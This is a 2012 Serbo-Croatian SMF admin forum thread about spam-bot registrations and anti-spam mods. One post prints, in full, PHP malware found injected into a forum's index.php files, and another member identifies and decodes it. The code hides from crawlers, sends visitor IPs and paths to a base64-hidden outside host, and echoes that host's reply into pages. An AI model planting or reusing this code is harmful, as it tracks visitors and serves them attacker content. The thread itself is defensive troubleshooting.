Quote from: Dzonny on November 16, 2012, 06:29:48 AM
Rekao bih da je Stop forum spam modul za nijansu bolji, jer zahteva manje izmena u izvornom smf kodu, a na kraju krajeva za bazu koriste isti servis - Honey Pot, ako se ne varam, tako da je samo način integracije različit, dok je stepen uspešnosti zaštite od spamera isti pošto se koristi ista baza za proveru da li je neki korisnik spamer ili ne. Mislim da ću i sam početi da koristim Stop forum spam ako mi se nastavi registracija spamera.
Promeniš pitanje pri registraciji ili postaviš random pitanje i nema šanse da prodju. :)
EDIT:
Zbog aktuelnosti problema sa spamerima ova i niz poruka su izdvojene iz teme "Problemi s oglašavanjem".
Kako misliš da promenim pitanje, već imam nekih 10-15 pitanja koja se vrte, i to svaki put po dva pitanja. :P
Jedino da promeniš komplet svih pitanja, nema druge. Eventualno još neki mod ::)
Ja sam iz iskustva napisao jer čim promenim pitanje tu se završava priča.
Neće biti baš tako jednostavno. Dzonny je dobro zapazio da spameri sve češće i uspješnije zaobilaze dosadašnje mjere. Evo jedne teme koja to ptvrđuje: http://www.simplemachines.org/community/index.php?topic=490833.0
Složićeš se da učesnici u ovoj temi nisu amateri već respektabilna SMF ekipa
Već sam napisao da mi mod odavno rješava taj problem a nimalo mi ne ometa registracije, a poodavno sam probao mnogo drugih kombinacija i nije valjalo.
Normalno je da botovi budu sofisticiraniji, a i da spameri menjaju taktiku.
Druga stvar, nikada nije ni bilo da administratori nemaju nove izazove. :D
P.S. Dzoni, promeni pitanja kod registracije da vidimo šta će da se desi :P
Branko, ne mogu tu temu da vide regularni članovi :)
Elem, da definitivno se ovo ne dešava slučajno, gomili ljudi je odjednom pojačan broj registracija botova po danu, vidiš da čak uspevaju da se registruju kada je registracija isključena (!?) što znači i da ima neka rupa u smf-u...
Quote from: Čarobnjak on November 20, 2012, 06:27:38 PM
Normalno je da botovi budu sofisticiraniji, a i da spameri menjaju taktiku.
Druga stvar, nikada nije ni bilo da administratori nemaju nove izazove. :D
P.S. Dzoni, promeni pitanja kod registracije da vidimo šta će da se desi :P
Promenio malo, evo u prilogu kako izgleda sve to. Fora je da nema šanse da "normalni" botovi prodju pitanja na srpskom zar ne? Do sad mi se ni jedan jedini spamer nije registrovao ali odjednom gomila njih, svaki dan po bar deset spamera banujem i uklonim silne spam postove.
Quote from: Dzonny on November 21, 2012, 05:31:26 AM
Branko, ne mogu tu temu da vide regularni članovi :)
Elem, da definitivno se ovo ne dešava slučajno, gomili ljudi je odjednom pojačan broj registracija botova po danu, vidiš da čak uspevaju da se registruju kada je registracija isključena (!?) što znači i da ima neka rupa u smf-u...
Sorry..nisam se sjetio. :)
Da, vidio sam komentar za zabranjene registracije. Zaista zabrinjavajuće. Da li (i može li uopšte) takav propust nastati zbog nekog mod-a?
Quote from: Dzonny on November 21, 2012, 05:53:01 AM
Fora je da nema šanse da "normalni" botovi prodju pitanja na srpskom zar ne?
Nikad ih nisam posebno analizirao, ali je očigledno da su napredniji, čim prolaze pitanja na srpskom, prolaze vizuelnu potvrdu sa "visokim šumom"... i na mojim forumima se slično desilo. Promenio sam pitanja i tako ih se rešio.
Prost zaključak je da se borba protiv botova završava onog trenutka kada im se "servira" nešto na malo drugačiji način zavisno od situacije i konkretnog problema. Ukoliko bot ima rešenje naših pitanja-lako ćemo ih se rešiti promenom pitanja, ukoliko ima mogućnost da zaobidje sva pitanja i vizuelnu potvrdu - treba mu "servirati" neku novu situaciju.
Ako postoji propust u samoj instalaciji SMF-a ili nekom modu kao i propust u administriranju foruma onda je to već druga priča jer je tada bezbednost samog foruma potpuno ugrožena.
I kod mene se bio povećao broj botova, a odavno ih nije bilo. Ja inače odobravam nove članove, kako bih eventualno primetio registrovanje duplih naloga, tako da lako uočim i botove (dovoljno je videti nick ili email), mada nakon instalacije moda "Stop Spammer", automatski se oni zacrvene, te je mod svakako koristan. Koristim vizuelnu potvrdu srednjeg nivoa i samo jedno antibot pitanje, koje sam promenio i otkako sam to uradio pre par dana, nijedan bot se nije registrovao, tako da je to upalilo. Ako bude potrebno, ubaciću i httpBL mod.
Ne znam zašto iko i čuva registrovane botove u bazi, umesto da ih briše što pre. Forumi opstaju ako su članovi aktivni, koliko god da ih ima, pa neka brojka od nekoliko hiljada članova ništa ne znači, ako se ništa korisno ne piše. Ja sam pre par meseci obrisao i regularne članove, koji su recimo registrovani pre više od godinu dana, a za to vreme nisu napisali nijedan post. Prosto, pošto je forum otvoren za goste. nema potrebe da imaju nalog ako se ne uključe u diskusije. Ako nekad požele da se uključe, registrovaće se ponovo :) Ima ovde nekih koji reklamiraju svoje forume, a broj tema im nije znatno manji od broja postova, iz čega se zaključuje da se tu jedva i odvija neka diskusija. Još gore, negde ima više članova nego postova.
Quote from: savicmi on November 24, 2012, 08:57:55 PM
I kod mene se bio povećao broj botova, a odavno ih nije bilo. Ja inače odobravam nove članove, kako bih eventualno primetio registrovanje duplih naloga, tako da lako uočim i botove (dovoljno je videti nick ili email), mada nakon instalacije moda "Stop Spammer", automatski se oni zacrvene, te je mod svakako koristan. Koristim vizuelnu potvrdu srednjeg nivoa i samo jedno antibot pitanje, koje sam promenio i otkako sam to uradio pre par dana, nijedan bot se nije registrovao, tako da je to upalilo. Ako bude potrebno, ubaciću i httpBL mod.
U zadnje vrijeme konstantno se bilježi "neobična" aktivnost spamera. Zaobilaze se, do skoro efikasne, zaštite. Ne pomaže ni podešavanje odobravanje registracija. Ukoliko se radi o, do sada neuočenom, sigurnosnom propustu u softveru to će SMF tim već riješiti. Ostaje pitanje nisu li brojne objavljene modifikacije pomogle svemu? Ne događa se svima isto. Zašto i u čemu je razlika?
Pogledajte temu SPAM - Bots Passing Admin Approval! (http://www.simplemachines.org/community/index.php?topic=491311.msg3443135#msg3443135)
Za prvo vrijeme, iako nije trajno rješenje, treba podesiti odobravanje tema/poruka za goste da takve spam poruke ne budu vidljive ostalima.
Samo da napomenem da je vizuelna potvrda odavno izgubila smisao i da gotovo nema bota koji bi zaustavila osim ako nije najveći nivo, mada i to se prolazi...
Zanimljivo je da ja nisam imao ni jedan takav slučaj. Jedini trag su pokušaji registrovanja u error logu a u SFS zaštiti o broju blokiranih. To je što se tiče sistema "registruj se i objavi". Ovdje se radi o objavljivanju spam poruka bez registracije a to je moguće samo ako gosti u dozvolama imaju bilo šta osim pretraga tema i poruka. Više me brine kako uspiju da oponašaju registrovanog člana i pišu pod njegovim imenom. :o
Upravo mi je gost ostavio post na forumu. o.0 Naravno gosti nemaju mogućnost da pišu bilo šta niti da pokreću teme.
Tema: http://www.samo-opusteno.info/forum/sportske-vesti/sp-aleksandar_150x90/
Zanimljivo...ovo postaje misterija. Šta misliš da mi pokrenemo neku posebnu temu o ovom problemu? Da svako od nas, nezavisno ima li problem sa spamovanjem, napiše koju smf verziju koristi, ima li portal ili neki cms, koje modove koristi. Možda uspijemo locirati što je zajedničko forumima koji imaju ovaj problem. Isto tako bi vidjeli razliku u odnosu na forume koji to nemaju (kao moj...da ga ne ureknem :) ). Možda se nešto ispili iz tzv. statistike?
Ako možeš samo izdvoji iz ove teme postove i napravi novu temu gde ćemo moći o ovome da pričamo, ja sam sad preko telefona pa mi nezgodno.
Elem, sadržaj posta koji je ovaj gost kod mene ostavio je ustvari samo [html][/html]
U zadnje vrijeme je sve više onih koji uočavaju da spameri zaobilaze dosadašnje mjere zaštite. Upravo iz tog razloga je izdvojen dio poruka koji se odnosi na to (objašnjeno u edit-u prve poruke), čisto da pokušamo da nađemo neko objašnjenje.
U tom smislu, kod repliciranja, bi trebalo dostaviti i sledeće informacije:
1. SMF verzija
2. Postojeći portal ili neki CMS
3. Popis korištenih modifikacija
4. Opis tj. tip zaštite koju koristite
5. Ostalo za što mislite da može biti važno
Tema će biti pod sticky dok (i ako) bude aktuelna. :)
Pogledao sam temu koju je preporučio Branko, baš neobično šta se nekima dešava, verovatno postoji neki propust u nekom kodu. Videh da je neko preporučio CrawlProtect/CrawlTrack, pa možda nije loše i te skripte isprobati, bar da se spreče neki napadi tipa SQL injection. Ja za sada neću ništa dodavati kod sebe, jer nakon promene antibot pitanja, nemam problema, a ako se ponovo pojave spemeri ili se desi nešto kao kod Dzonny-ja, preduzeću već nešto.
Pročitah negde preporuke za ZB Block, koji štiti php sajtove, pa može se i to pogledati.
Zanimljiv je i ovaj sadržaj posta koji je gost ostavio kod Dzonny-ja, jer ako se ne varam, niko sem administratora ne može ni da koristi html bbc kod.
Mislim da CrawlProtect/CrawlTrack nije besplatan... ili se varam? Mislim da ima dovoljno razloga da budemo zabrinuti. Problemi se razlikuju u manifestaciji, izvor im je isti....
Da budemo operativniji i da nam diskusije budu sadržajnije, molba da svako stavi kraći info kako je navedeno u mom prethodnom postu. Znam da je malo dosadno, ali možda bude i korisno nekome?
Evo moje konfiguracije:
SMF verzija= 2.0.2,
Popis korištenih modifikacija:
1.Activity Bar 1.1
2.Activity in Profile 1.1
3.Attachments in Topics 1.0
4.Auto Email Inactive Users 1.7
5.AvatarSelect 1.2.1
6.Country Flags 2.0
7.Downloads System 1.4.1
8.Enable or Disable "Last Edit: by" for Administrators 1.4
9.ENotify 2.0.2
10.Google Analytics Code 1.4
11.Karma Buttons 1.1
12. LGF Mod 1.2
13.Registered Links 3.0
14.Remove "Last edit" mod 0.2.3
15.SMF Topic Prefix Mod 1.2.2
16.SMFPacks Shoutbox 1.0.3
17.Sortable Packages (and Installed Time) 1.3
18.Stop Spammer 2.3.9
19.Tapatalk SMF 2.0 RC5/Final Plugin 3.2.1
20.Topic Rating Bar 0.6.2
21.Topic Solved 1.1.1
22.Topic View Log 1.3
23.Users Online Today 2.2
24.Welcome Topic Mod 2.2
25.YouTube BBCode 2.7
Zaštita:
SMF Antispam (aktivacija mejlom,zahtjevana potvrda kod registracije, za goste odobravanje poruka). Gostima sakrivene imejl adrese i detalji kontaktiranja članova. Mod Stop Spammer 2.3.9 ( provjera imejla) uz jedno lako verifikacijsko pitanje kod registracije.
Dodatno:Obavezan izbor avatara tek da malo zakomplikuje
Pozdrav
Do pre par dana nisam imao problema sa botovima a onda je pocela navala sa svih strana.
Nijedan od njih nije nista pisao po fforumu do juce , kada je jedan za samo par minuta postavio preko 50 odgovora na raznorazne teme.Sve sam regovane botove obrisao i obrisao postove ovog koji je pisao.
Promenio sam pitanje i odgovor u Anti-Spam Verification Questions 1.02i za dva dana nije bilo novih registracija.
Verzija foruma 1.1.16
Spisak modova
1. Version Emulate Dropdown 1.4
2. Custom BBCode 2.00
3. Load Standard Language 1.0.2
4. blinkbbc 1.0
5. Karma Buttons 1.1
6. Enhanced Quick Reply Box 2.0.2
7. Redirection Boards 2.01
8. YouTube BBCode 2.6
9. New Style Message Icon 1.1
10. Tidy Child Boards 1.3
11. Anti Bot: Are You Human/Bot? 2.3
12. Anti-Spam Verification Questions 1.02
13. Highslide Image Viewer 1.6
14. Profile User Action 1.1
15. Country Flags 2.1
16. Hide Tag Special 1.8.5
17. SimplePortal 2.3.5
18. OS & Browser Detection 1.5
19. Share This Topic 2.8.2
20. SMF Sitemap 1.2.2
21. Board Notes 1.0.7
22. MCLegendII.2 3.0
23. Member Color Link 3.1
24. FontandSizeDropdown_1.3 1.3
25. Auto Email Inactive Users 1.7
26. Default Avatar 1.1.1
Zastita od botova :
Anti Bot: Are You Human/Bot? 2.3
Anti-Spam Verification Questions 1.02
Prilikom registracije pored ovoga koristim kao dodatak Country Flags 2.1 gde clan ima obavezu da izabere zemlju odakle dolazi.Kao prvu opciju za izbor stavio sam Robot sa prigodnom slicicom (u attachmentu se vidi) iz razloga sto su botovi iz niza ponudjenih opcija uvek birali prvu opciju, pa kada izaberu robot opciju samim tim znam da je bot u pitanju jer niko ne bi odabrao bas to . To je i bio slucaj u par ranijih registracija ali sada ne.Biraju i druge opcije drzava koje su im ponudjene.Znaci i tu zastitu su probili.
Sve ovo ste i vi , manje - vise napisali , ali primetio sam nesto , sto mi do pre tri dana nije bilo na forumu.Mozda to nista ne znaci ali nije naodmet da napisem.
U eror logu jutros su mi se pojavile preko 150 strana gresaka.
Odredjeni broj se odnosio na neuspele registracijeili pogresne lozinke ali ogroman broj mi je davao gresku koja se odnosila na liniju 396 u index.php fajlu u root foruma.Tu mi se pojavio ceo "kod" koji ja nisam dodao a niko sem mene nema pristup serveru.
Kako sam pre par meseci imao isti problem sa takvim necim , ja sam odradeo upgrade foruma i do sada nije bilo problema.
Evo i koda kako izgleda
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
Nisam u poslednje vreme , mozda cak i tri meseca unazad , dodavao bilo koji mod.
Ne znam zasto se ovaj deo dodaje sam od sebe , mozda tako treba , ali ne verujem.
Cak mislim da je od njegovog pojavljivanja i pocela ova najezda botova na mom forumu. Ako nista drugo , onda je poceo ogroman broj gresaka da mi se javlja zbog njega.
Taj deo sam obrisao iz index.php i sada nema gresaka, tako sam radeo i pre upgrade foruma , ali se on pojavljivao sam nakon par dana , sto je i bio razlog sto sam uradeo upgrade celog foruma.
Opet kazem , ne znam da li ovo ima ikakve veze sa najezdom botova , ali nije naodmet napomenuti , nikad se ne zna.
Srdacan pozdrav i oprostite na opsirnosti mog pisanja.
Druže, ti imaš drugačiji problem.
Kod koji se pojavljuje je neki injektovan kod, i verovatno na serveru imaš još gomilu zaraženih fajlova. Odmah pokreni neki AV softver da to pretraži, uradi backup, i kreni da čistiš fajlove.
base_64 kod svakako pokazuje neke malverzacije, u tvom slučaju konkretno poziva url:
http://browserglobalstat.com/statD/stat.php
Ono što je de facto jeste da nisi jedini sa istim problemom:
http://lmgtfy.com/?q=%2F%2F+This+code+use+for+global+bot+statistic
Dakle ovako, nadam se prvo da imaš backup svih fajlova, ako imaš ili ih vrati ili redom uklanjaj kod gde ga nadješ, krenuvši od index.php fajlova u svakom direktorijumu. Može se desiti da kod imaš svuda, može se desiti da imaš samo u jednom ili par fajlova.
Učitavanje tvog foruma sada mi prijavljuje trojan u fajlu marquee.js (preko kasperskog), a verovatno da ovaj kod imaš u još dosta fajlova.
Pošto sve očistiš preporučujem ti da pažljivo pregledaš sve na serveru i sve sumnjive fajlove pobrišeš, pokreneš opet AV skeniranje + skeniraš svoj računar nekim dobrim AV i Anti Malverom + poradiš na sigurnosti servera.
Hvala Dzonny na odgovoru i savetu.
Skinuo sam ceo forum sa servera , preskenirao ga avastom i nije prijavio nista.
Pregledao sam sve index.php fajlove , iz svakog direktorijuma i u svakom pronasao ovaj kod.Obrisao sam ih rucno.
Malwarebytes' Anti-Malware mi takodje ni kao avast ne prikazuje nista.Uzeo sam Kasprsky free verziju , samo da bih preskenirao sutra i sa njim.
Malo me buni ovo sto ti pokazuje da ima trojanca u fajlu marquee.js jer taj fajl odnosno tu opciju beskonacnog niza ne koristim vise na forumu vec duzi period a cak ni na serveru vise nemam taj fajl.
Imam sve fajlove skinute pre nego sto se pojavio ovaj problem , tako da cu najverovatnije sve zameniti tim fajlovima.
Redovno radim backup baze i fajlova sa servera.
Ne znam, očigledno da se poziva neki taj fajl...Pogledaj prilog.
Ne zadržavaj se na proveri samo index fajlova, pregledaj koliko god možeš, vrlo moguće da je posvuda razbacan taj kod...
Quote from: Dzonny on November 25, 2012, 03:34:25 PM
Upravo mi je gost ostavio post na forumu. o.0 Naravno gosti nemaju mogućnost da pišu bilo šta niti da pokreću teme.
Tema: http://www.samo-opusteno.info/forum/sportske-vesti/sp-aleksandar_150x90/
Ne znam koje ovlasti imaju druge grupe clanova... Mozda se taj gost registrovao, otvorio temu, a zatim neko od recimo moderatora obrisao clana, a ostavio poruke.. ???
Nego sto se spamera tice, davno sam u svastari pricao...
Ne znam ko se ovde bavi izradom modova jer ja zasigurno to ne znam, ali ideja da se napravi mod koji bi prilikom instalacije radio sledece, a to je da ogranici MINIMALNO vreme za registraciju.
Obicnom smrtniku za jednu najprostiju registraciju treba 10-15 sekundi, dok spameru treba manje od jedne sekunde.
Moje misljenje je da bi takav mod (koji ce ograniciti minimalno vreme za registraciju od 4-5 sekundi) bio resenje problema.
Quote from: NoName123 on November 29, 2012, 02:32:02 PM
Ne znam koje ovlasti imaju druge grupe clanova... Mozda se taj gost registrovao, otvorio temu, a zatim neko od recimo moderatora obrisao clana, a ostavio poruke.. ???
Nije se uopšte registrovao, već je pod imenom Gost i statusom gost uspio da se ubaci (vidi link).
Što se tiče tog mod-a na koji tipuješ, sumnjam da će ga iko napraviti pored već postojećih koji, za sada, uspješno rješavaju problem klasičnih spamera. Ovaj slučaj ili slučaj pisanja u ime admina su puno ozbiljnije stvari.
Pa mozda se neko registrovao pod imenom " Gost" uglavnom, necu puno da pametujem, ali sve stoji u bazi podataka pa nek proveri ako vec nije.
A mod o kome pricam bi odradjivao mnogo bolje posao od ovih dosadasnjih modova + potencionalnim clanovima bi bila prostija registracija.
Ja na tipodromu nemam niti jedan instaliran anti spam mod... Jednostavno me nerviraju ti modovo.
Lepo sam pustio neka se slobodno registruju spameri, ali sam stavio da novi clan na prvi postavljen post mora proci sigurnosno pitanje, tako da sad i kad se spameri registruju, nista ne pisu, a ja ih s vremena na vreme obrisem.
Ne, niko se nije registrovao pod imenom "Gost" niti je neki član bio registrovan pa je ibrisan. Proverio sam već sve logove, a uostalom niko nema ovlašćenja da briše članove na forumu osim mene, a na kraju sve i da je izbrisan, ne bi stajalo "Gost" već ime pod kojim je član registrovan...
I ja inače mrzim te silne modove i gledam da ih što manje imam, ali da imaš 50 spamera dnevno koji prodju ta pitanja sva i ostave svaki po npr 5 postova = 250 spam poruka koje treba izbrisati i 50 članova koje treba banovati/izbrisati. Priznaćeš to nije lagan posao, pa se u takvim situacijama već treba latiti nekog modula :)
Pa eto, ako znas praviti modove, napravi ovo sto sam predlozio :)
Osim što ovo nije tema o pravljenju modova, gdje si u temi našao da Dzonny pominje pravljenje modova. Uporno spamuješ potencirajući nekakav mod koji očigledno samo tebi treba. Izvoli na smf dio gdje se postavljaju takvi zahtjevi
Pa radi se o resavanju problema sa spamerima, a ovo o cemu sam ja pisao je resenje za sve, ne samo za mene.
To je tvoje mišljenje. Problem sa spamerima se javlja u raznim vidovima tako da ga to što ti pominješ 1001% ne može riješiti. Da li bi i kome bi to bilo rješenje, ostavljamo za neka druga vremena. Ako te baš toliko zanima, pokreni temu sa zahtjevom ili molbom u Modovi i hackovi i diskutuj koliko god želiš. Ako ti i dalje nije jasno, pogledaj ovu temu od početka...
ima li barem nekih informacija šta bi moglo da prouzrokuje ovaj problem...ili idalje da se borim s botovima ?
U stvari kod klasičnih spamera se manje-više zna kako djeluju. Znači, ako su to oni s reklamama samo ubaci (kao i ja) mod Stop Spammer 2.3.9 i riješio si ih se. Možda nisi zapazio da veliki problem predstavljaju oni koji na volšeban način pišu bez dozvole kao gosti, pišu pod tuđim imenom itd.
Ako ti spameri nisu važni (a ne bi ni trebalo) radi statistike tj. uvećavanja broja "članova" koristi predloženi mod.
Ja sam još dodatno "zakomplikovao" sa obaveznim izborom avatara. Krajnji rezultat je da se broj blokiranih spamera lagano povećava, a nijedan nije prošao na forum više od godinu dana (čak ni postupak registracje).
Malo sam istraživao na testnom forumu. Nakon instalacije, Stop Spammer je uredno zaustavljao sporne registracije (324) i stavljao ih na čekanje (ove nisam brojao). Nakon nekoliko dana ubacio sam i AvatarSelect i nijednog više. Izgleda da je izbor avatara velika prepreka. Vjerovatno bi i neki drugi mod sa sličnim zahtjevom završavao posao. Možda će vam koristiti da znate ;)
@Dzonny, ovo s avatarima bi te moglo zanimati, možda još kombinovati da ne bude istih avatara i to je to.
Quote from: Zuća on December 01, 2012, 06:47:16 PM
ima li barem nekih informacija šta bi moglo da prouzrokuje ovaj problem...ili idalje da se borim s botovima ?
Za pocetak, promeni pitanje pri registraciji.
I dalje kod mene isto, svakodnevna registracija spamera, ne vredi, moram da instaliram i neki mod. Čekao sam da uradim prvo update na 2.0.3 verziju pošto je već odradjen patch koji će ovih dana biti i javan, ali mislim da ću morati da instaliram neki modul protiv spamera pre toga jer više ne mogu da stignem da pobrišem sve što oni uspeju da ispišu.
Zanimljivo je to da sam primetio da spameri obavezno pored spamova u temama ostavljaju i komentar sami sebi na profil sa nekim linkovima. Imam Ultimate Profil instaliran, možda čak samo jure forume sa tim modulom, ko će ga znati...
Ti si Dzoni baš u "sosu". Svakako moraš nešto da promeniš.
Da li bi ovaj mod mogao da ti reši problem?
http://custom.simplemachines.org/mods/index.php?mod=1353
Da, tako izgleda. Taman sam krenuo da instaliram Stop Forum Spam (http://custom.simplemachines.org/mods/index.php?mod=1519) modul ali po komentarima vidim da i propušta dosta spamera a sa druge strane i blokira legitimne posetioce da se registruju. Ima neko neki predlog, koji mod kod vas najbolje radi? :)
Čarobnjak - Email Validator ne, mator + mislim da botovi to bez nekih velikih problema prodju sada.
Mislim da za Stop Forum Spam griješiš. Meni nije propustio nijednog a blokirao preko 20.000 spamera koji su u bazi na SFS (znači dokazani, jer je provjera samo na email). Nisam primijetio da smeta legitimnim posjetiocima jer error log nije zabilježio takve greške. Par postova prije sam pomenuo AvatarSelect, mislim da bi i on sam zaustavio sve ili skoro sve a zgodan jer vrši malo promjena. U suštini samo u Register.php + mali dodatak u admin reg. panelu i Who.template-u.
Po Brankovoj preporuci sam uklonio stop forum spam i instalirao Stop Spammer i mislim da je po meni mnogo bolji od sfs moda. Lepo zacrveni :D
Meni Stop Spammer ne bi funkcionisao pošto nemam potvrdu registracija uključenu, svi se registruju automatski. Instalirao sam SFS modul sad. Branko je ti čekirana provera IP adresa i Username-a ili kako?
Videću sutra da li će biti spama, danas opet desetak spamera, katastrofa. :(
Samo provjera imejla, tako sam izbjegao slučajno podudaranje ip i imena. Rijetko će se ime pogoditi isto ali ip često jer spameri koriste lažnjake. Zašto ne ubaciš samo avatar select, meni je na testnom potpuno zaustavilo čekanje na odobrenje koje radi stop spam. Znači da sad ne prolaze registracioni dio.
Evo sad sam isključio Stop Spamer da vidim je li avatar select dovoljna prepreka. Javim rezultat. :)
Dzonny, moj forum , nije ni priblizno tvom forumu po broju poseta i sadrzaju , jos je i na staroj 1.1.16 verziji ali mozda nije na odmet da pomenem da se kod mene prilikom registracije nalazi i mod Anti-Bot: Are You Human/Bot? (http://custom.simplemachines.org/mods/index.php?mod=999)
Bio je period kod mene na forumu ,kada je sve ovo pocelo oko registracije botova , ali sam promeno pitanje i nakon toga ih vise nema.
Opet napominjem , mi nismo jak forum kao sto je tvoj pa mozda zato nismo interesantni.
Ne zavisi od "jačine" foruma, spameri idu na sve (čak i na moj testni forum od 3 člana). Treba razgraničiti i tip spamera. Postoje oni koji automatski popunjavaju reg. obrasce i oni koji to čine ručno. Za prve postoje brojne zaštite u koje spada i pomenuta. Problem je kad se neki "manualac" nakači i registruje s različitim imejl adresama (a sve validne) a to se mora ručno brisati. Srećom takvih je najmanje jer su i sami svjesni da izgube puno vremena na registracije a poruke im ne ostaju zadugo.
UndertakerZA - Ne vredi taj mod, pokušao već, jedno vreme vredelo pa su botovi evoluirali...
Ovaj mod mi danas blokirao 43 spamera, nema spama danas posle dužeg vremena :)
Šta si ubacio, pomenuto je dosta toga... :)
Stop Forum Spam
http://custom.simplemachines.org/mods/index.php?mod=1519
Evo mene najveceg baksuza kojeg siluju spameri:
1. SMF Verzija 2.0.3
2.Simple portal
3.
Add Favicon.ico Support 1.101
2. Activity in Profile 1.1
3. SimplePortal 2.3.5
4. Topic Author 0.1
5. Stop Spammer 2.3.9
6. YouTube BBCode 2.6
7. nCode Image Resizer 1.3.1
8. Activity Bar 1.1
9. Karma/Rep Limit 1.0.1
10. Adk Shadow Box 1.0
11. LGF Mod 1.3
12. Bad Behavior mod 1.5.15
13. SMF 2.0.3 Update 1.0
14. reCAPTCHA for SMF 0.9.8a
15. Light WebPlayer 0.2.2
16. ResizeImagesToFitScreen 0.1.6
17. Autor In Display
4. Koristim mod Bad Behavior mod. reCAPTCHA for SMF i pitanja pri registraciji i admin approval
5. Potreban mi je mod, savjet ili slicno da se uspijesno rijesim spamma sa foruma, postalo je iritantno preko 2000 spamova se registriralo u 3 mjeseca.
Katastrofa, danas opet obrisah nekih 20ak spam tema. Izgleda da neki botovi i uspeju da prodju ovaj modul, ali ću pratiti stanje ovih dana pa ćemo videti...
totalna katastrofa, ja sam zabranio registraciju foruma, i svaki dan mi je pun rac tema novih
Predlog: Dodajte Avatar select radi probe.. ;)
Meni je to vec ukljuceno odavno.
U tvom popisu ga nema, a po defaultu ne postoji. Nađi na mod stranici i probaj. ;)
Quote from: armada1987 on December 18, 2012, 06:43:57 PM
totalna katastrofa, ja sam zabranio registraciju foruma, i svaki dan mi je pun rac tema novih
Onda kod tebe na forumu nešto ozbiljno ne štima čim su zabranjene registracije a botovi probijaju.
i šta da ja sad radim, vidim ga online, kliknem na njega vidim e-mail poznati on je online bot i spama ja ga banam al on se vrati, lista modova i ostalo je malo iznad treba mi pomoc inace cu prolupat vise od njih.
Meni je Stop Forum Spam do sada blokirao 21188 samo provjerom imejla. Ponekad su zbog drugačijeg imena i ip dolazili do odobrenja a uz Avatar select mod više ne stižu ni do odobrenja registracije. Zašto ne pokušaš i ti ?
Quote from: Branko. on December 19, 2012, 01:40:00 PM
Meni je Stop Forum Spam do sada blokirao 21188 samo provjerom imejla. Ponekad su zbog drugačijeg imena i ip dolazili do odobrenja a uz Avatar select mod više ne stižu ni do odobrenja registracije. Zašto ne pokušaš i ti ?
pa šta da radim kad mi stop forum spam ne radi na forumu????
jel postoji mogucnost da sejvam boards and topics i jednostavno izbrisem ovaj forum i dignem drugi, jer nema clanova puno na njemu.
Quote from: armada1987 on December 19, 2012, 02:11:53 PMpa šta da radim kad mi stop forum spam ne radi na forumu????
Negdje si napravio grešku, taj mod radi.
Dakle ovako, govorimo o ovom modu? http://custom.simplemachines.org/mods/index.php?mod=1519 ?
Imas pravo sada mi radi,
Stop Forum Spam Enabled
Enable check Email user is in www.stopforumspam.com i to je to? a sta cu sa onima koji su mi vec registrirani botovi i spamaju mi danas sam 20 tema obrisao?
1.Ako si pratio upute i dobavio svoj API ključ (upiši ga u api polje) u podešavanju mod-a nadalje koristi mogućnost da sve spamere prijavljuješ. Oni se automatski dodaju višemilionskoj listi u bazu sfs. Tako pomažeš i sebi i ostalima.Svaki naredni pokušaj takvog spamera da se registruje (i kod tebe i bilo gdje) će biti neuspješan a on dobije (pretpostavljam) poruku da mu je registracija zabranjena.
2.Obrišeš ove koji su se već registrovali i uživaš gledajući kako se ukupan broj blokiranih lagano povećava.
Napomena:
Najbolja opcija je samo imejl kontrola, tako izbjegneš slučajno poklapanje imena i IP. Oni rijetki koji zbog drugačijeg imena (koje nisi stavio na provjeru) prođu do odobravanja naloga imaju crvenu lupu (povećalo) pored imejla, klik na nju te vodi direktno na sfs i tu provjeravaš njegov status. Rezultat je uvijek poklapanje ip i imejla (znači da jeste spamer) pa korišćenjem mod opcije "prijavi" dodaš ga i pod tim novim imenom (završio djelovanje za sva vremena).
Quote from: Branko. on December 20, 2012, 07:34:55 AM
1.Ako si pratio upute i dobavio svoj API ključ (upiši ga u api polje) u podešavanju mod-a nadalje koristi mogućnost da sve spamere prijavljuješ. Oni se automatski dodaju višemilionskoj listi u bazu sfs. Tako pomažeš i sebi i ostalima.Svaki naredni pokušaj takvog spamera da se registruje (i kod tebe i bilo gdje) će biti neuspješan a on dobije (pretpostavljam) poruku da mu je registracija zabranjena.
2.Obrišeš ove koji su se već registrovali i uživaš gledajući kako se ukupan broj blokiranih lagano povećava.
Napomena:
Najbolja opcija je samo imejl kontrola, tako izbjegneš slučajno poklapanje imena i IP. Oni rijetki koji zbog drugačijeg imena (koje nisi stavio na provjeru) prođu do odobravanja naloga imaju crvenu lupu (povećalo) pored imejla, klik na nju te vodi direktno na sfs i tu provjeravaš njegov status. Rezultat je uvijek poklapanje ip i imejla (znači da jeste spamer) pa korišćenjem mod opcije "prijavi" dodaš ga i pod tim novim imenom (završio djelovanje za sva vremena).
ima samo 3 slike ,a ja kada sam instalirao redirectalo me i imam samo 3 opcije enable i za Ip i za e-mail napisao sam ti gore, pa me cudi sta taj api i gdje s njim.
EDIT: i od kad sam to instalirao nije niti jedan spam zabiljezen.
Quote from: armada1987 on December 20, 2012, 09:58:29 AM
